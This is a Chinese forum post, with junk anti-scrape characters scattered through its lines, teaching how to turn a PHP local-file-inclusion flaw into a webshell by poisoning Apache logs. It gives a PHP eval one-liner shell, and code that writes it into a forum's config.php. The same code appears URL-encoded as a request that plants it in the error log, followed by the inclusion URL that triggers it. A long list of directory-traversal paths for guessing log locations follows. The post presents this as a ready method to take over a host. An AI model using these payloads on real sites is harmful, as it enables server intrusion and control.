php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
' v$ r- b  E/ m  ^
比如还是这句一句话木马
: M% U+ ?7 d0 Q0 j% S( a9 A$ R/ J<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
/ W3 M' D" t$ V- k) }4 tfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

/ D( G; j% ^8 r: R7 F<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
* c2 a: T3 N- A" u3 i, U, zfclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
" Y. @2 o8 o! V% D: x  B%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
6 B1 F. c0 s" h$ _4 r8 Vfclose%28%24fp%29%3B%3F%3E
我们提交
+ k" I6 V: M6 Ihttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
" ?, V2 Y; o; rcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
8 A" R6 t4 W  I8 {  @1 C$ L, h) i
这样就错误日志里就记录下了这行写入webshell的代码。
: a2 k! i( s0 V% y% V. u我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

9 U# ^  q: s% b0 Q这样webshell就写入成功了，config.php里就写入一句木马语句
- M& c1 i1 n7 a. t( ]4 eOK.
+ U9 e; ^! x6 chttp://www.xxx.com/forum/config.php这个就成了我们的webshell
0 K  g% v8 d1 R5 ~" G9 `直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
/ |/ K( v: j" z1 ~( Z0 A  q- J
. n5 c: g2 f% M4 ~/ u, p; ^: ?其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
  n  l6 r; H% N( ]../../../../../../../../../../var/log/httpd/error_log
" {3 P5 u* z0 w9 D8 y../apache/logs/error.log
../apache/logs/access.log
. b' l! r0 s  E4 u../../apache/logs/error.log
3 l8 H0 `5 r* l  g1 m../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
$ Q" _! F( y% T2 H../../../../../../../../../../var/www/logs/access.log
8 i; Q; v5 G$ q) L1 L) O  U" ?../../../../../../../../../../usr/local/apache/logs/access_log
2 S: E4 i) d* d0 W../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
2 r- I% d8 ?$ ?2 l../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
1 Q0 ^7 M' f* m# j- _7 M../../../../../../../../../../var/www/logs/error_log
& b( {& B8 N0 X& r# F3 f../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
. j( q- y- X3 A../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
5 y2 _- w  |- h" B../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
% b5 P) [$ Q4 o0 Y$ j8 ?5 q4 Y7 D5 y/var/log/httpd/error_log     
2 f  H) v. M7 _1 Z6 O3 i# I../apache/logs/error.log     
2 r9 W" A$ ^2 y../apache/logs/access.log
; ~  t/ D. o; p2 o../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
4 c' J) E7 t9 j" q; b../../../apache/logs/access.log
/etc/httpd/logs/acces_log
( x! [, h$ S( P( ?5 k$ l/etc/httpd/logs/acces.log
' S* n6 K' h# G6 t) A6 ?( k/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
, }- E* M, ^4 q/var/www/logs/access_log
  m2 J* `( [$ |/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
4 d' k3 v) k1 p/var/log/access_log
/var/www/logs/error_log
- ]: ~0 o( h1 d0 }/var/www/logs/error.log
  @( ~/ L/ l6 n5 r) k/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
' \: @. z& b5 M( J! [  z* h" {/var/log/apache/error.log
/var/log/access_log
/var/log/error_log